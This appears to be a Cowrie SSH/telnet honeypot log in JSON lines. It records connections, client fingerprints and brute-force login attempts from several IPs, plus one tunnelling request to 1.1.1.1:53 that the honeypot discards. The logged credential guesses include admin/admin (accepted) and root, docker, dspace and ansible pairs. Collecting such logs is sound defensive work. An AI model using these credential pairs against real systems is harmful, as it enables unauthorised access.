{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:21.058697Z","src_ip":"95.38.165.118","session":"195836e60cd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":53648,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec55b2a622cd","protocol":"ssh","message":"New connection: 95.38.165.118:53648 (10.17.0.5:22) [session: ec55b2a622cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:25.122639Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:25.455959Z","src_ip":"95.38.165.118","session":"ec55b2a622cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:25.466255Z","src_ip":"95.38.165.118","session":"ec55b2a622cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":11400,"dst_ip":"10.17.0.5","dst_port":22,"session":"81e28c38eca9","protocol":"ssh","message":"New connection: 87.251.64.176:11400 (10.17.0.5:22) [session: 81e28c38eca9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:25.493969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:25.499807Z","src_ip":"87.251.64.176","session":"81e28c38eca9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:25.599216Z","src_ip":"87.251.64.176","session":"81e28c38eca9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:25.945096Z","src_ip":"87.251.64.176","session":"81e28c38eca9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:26.074015Z","session":"81e28c38eca9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:26.212109Z","src_ip":"87.251.64.176","session":"81e28c38eca9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:26.343624Z","src_ip":"87.251.64.176","session":"81e28c38eca9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":39876,"dst_ip":"10.17.0.5","dst_port":22,"session":"8787a12cdcac","protocol":"ssh","message":"New connection: 95.38.165.118:39876 (10.17.0.5:22) [session: 8787a12cdcac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:28.914287Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:29.026875Z","src_ip":"95.38.165.118","session":"8787a12cdcac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:29.167699Z","src_ip":"95.38.165.118","session":"8787a12cdcac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dspace","password":"dspace","message":"login attempt [dspace/dspace] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:29.823884Z","src_ip":"95.38.165.118","session":"8787a12cdcac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":47436,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b7c72ace8b8","protocol":"telnet","message":"New connection: 180.235.129.180:47436 (10.17.0.5:23) [session: 6b7c72ace8b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:29.951207Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567890","message":"login attempt [root/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:31.232572Z","src_ip":"95.38.165.118","session":"ec55b2a622cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:31.408462Z","src_ip":"95.38.165.118","session":"8787a12cdcac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":69.05739140510559,"message":"Connection lost after 69 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:32.073525Z","src_ip":"178.128.93.180","session":"73c44610ac98","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"7.5","message":"Connection lost after 7.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:32.630026Z","src_ip":"95.38.165.118","session":"ec55b2a622cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":39878,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d89328d0cc2","protocol":"ssh","message":"New connection: 95.38.165.118:39878 (10.17.0.5:22) [session: 3d89328d0cc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:34.166832Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:34.226177Z","src_ip":"95.38.165.118","session":"3d89328d0cc2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:34.373641Z","src_ip":"95.38.165.118","session":"3d89328d0cc2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"docker","password":"docker","message":"login attempt [docker/docker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:35.197940Z","src_ip":"95.38.165.118","session":"3d89328d0cc2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:36.438824Z","src_ip":"95.38.165.118","session":"3d89328d0cc2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":56260,"dst_ip":"10.17.0.5","dst_port":22,"session":"01379c3382fb","protocol":"ssh","message":"New connection: 62.133.62.83:56260 (10.17.0.5:22) [session: 01379c3382fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:36.763299Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:36.769193Z","src_ip":"62.133.62.83","session":"01379c3382fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:36.849682Z","src_ip":"62.133.62.83","session":"01379c3382fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rinat","message":"login attempt [root/rinat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:37.221246Z","src_ip":"62.133.62.83","session":"01379c3382fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:38.303043Z","src_ip":"62.133.62.83","session":"01379c3382fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":60668,"dst_ip":"10.17.0.5","dst_port":22,"session":"479349e078d2","protocol":"ssh","message":"New connection: 95.38.165.118:60668 (10.17.0.5:22) [session: 479349e078d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:39.207062Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:39.212381Z","src_ip":"95.38.165.118","session":"479349e078d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:39.372630Z","src_ip":"95.38.165.118","session":"479349e078d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.636492729187012,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:42.587581Z","src_ip":"180.235.129.180","session":"6b7c72ace8b8","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansible","message":"login attempt [ansible/ansible] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:43.612224Z","src_ip":"95.38.165.118","session":"479349e078d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":59084,"dst_ip":"10.17.0.5","dst_port":22,"session":"75abf3bf46ec","protocol":"ssh","message":"New connection: 94.159.98.239:59084 (10.17.0.5:22) [session: 75abf3bf46ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:45.004503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:45.010336Z","src_ip":"94.159.98.239","session":"75abf3bf46ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:45.150514Z","src_ip":"94.159.98.239","session":"75abf3bf46ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":60670,"dst_ip":"10.17.0.5","dst_port":22,"session":"7baf66176eeb","protocol":"ssh","message":"New connection: 95.38.165.118:60670 (10.17.0.5:22) [session: 7baf66176eeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:45.468174Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:45.473355Z","src_ip":"95.38.165.118","session":"7baf66176eeb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"786786","message":"login attempt [root/786786] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:45.567555Z","src_ip":"94.159.98.239","session":"75abf3bf46ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:45.632957Z","src_ip":"95.38.165.118","session":"7baf66176eeb","protocol":"ssh"}
